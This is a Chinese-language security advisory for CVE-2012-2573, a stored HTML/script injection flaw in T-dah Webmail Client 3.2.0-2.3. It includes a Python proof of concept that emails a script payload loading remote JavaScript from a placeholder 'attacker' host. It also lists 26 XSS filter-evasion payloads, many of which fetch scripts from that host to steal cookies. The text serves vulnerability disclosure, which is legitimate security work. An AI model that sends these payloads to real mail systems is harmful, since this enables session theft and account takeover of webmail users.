发布日期：2012-08-08
更新日期：2012-08-09
受影响系统：
php-open T-dah Webmail Client 3.2.0-2.3
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 54893
CVE ID: CVE-2012-2573
T-dah是一个PHP Webmail系统。该系统采用POP3协议收邮件，可以配置使用SMTP、PHP mail、Sendmail或Qmail来发送邮件。
T-dah Webmail Client v3.2.0-2.3及其他版本在实现上存在HTML注入漏洞，攻击者可提供HTML或JS代码，在受影响站点中运行，窃取cookie身份验证凭证或控制站点外观。
<*来源：loneferret
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#!/usr/bin/python
'''
Author: loneferret of Offensive Security
Product: T-dah Webmail Client
Version: 3.2.0-2.3
Vendor Site:
Software Download:
Contact:
Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure
Installed On: Ubuntu Server LAMP 11.10
Client Test OS: Windows 7 Pro (x86) SP1
Browser Used: Internet Explorer 9
Injection Point: Body
Injection Payload(s):
1: <SCRIPT SRC=https://attacker/xss.js></SCRIPT>
2: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
3: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
4: <SCRIPT>alert('XSS')</SCRIPT>
5: exp/*<XSS>
6: <BODY ONLOAD=alert('XSS')>
7: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
8: <DIV>
9: <XSS>
10: <IMG>
11: <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
12: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
13: <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]--
14: <SCRIPT SRC="https://attacker/xss.jpg"></SCRIPT>
15: <SCRIPT/XSS SRC="https://attacker/xss.js"></SCRIPT>
16: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
17: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="https://attacker/xss.js"></SCRIPT>
18: <SCRIPT a=">'>" SRC="https://attacker/xss.js"></SCRIPT>
19: <<SCRIPT>alert("XSS");//<</SCRIPT>
20: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
21: <SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
22: <SCRIPT a=`>` SRC="https://attacker/xss.js"></SCRIPT>
23: <SCRIPT a="blah" '' SRC="https://attacker/xss.js"></SCRIPT>
24: <SCRIPT "a='>'" SRC="https://attacker/xss.js"></SCRIPT>
25: <SCRIPT ="blah" SRC="https://attacker/xss.js"></SCRIPT>
26: <SCRIPT a=">" SRC="https://attacker/xss.js"></SCRIPT>
'''
import smtplib, urllib2
payload = """<SCRIPT/XSS SRC="https://attacker/xss.js"></SCRIPT>"""
def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg = "From: hacker@offsec.local\n"
msg += "To: victim@victim.local\n"
msg += 'Date: Today\r\n'
msg += "Subject: XSS\n"
msg += "Content-type: text/html\n\n"
msg += "XSS" + payload + "\r\n\r\n"
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print "[-] Failed to send email:"
print "[*] " + str(e)
server.quit()
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv = "172.16.84.171"
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)
建议：
--------------------------------------------------------------------------------
厂商补丁：
php-open
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：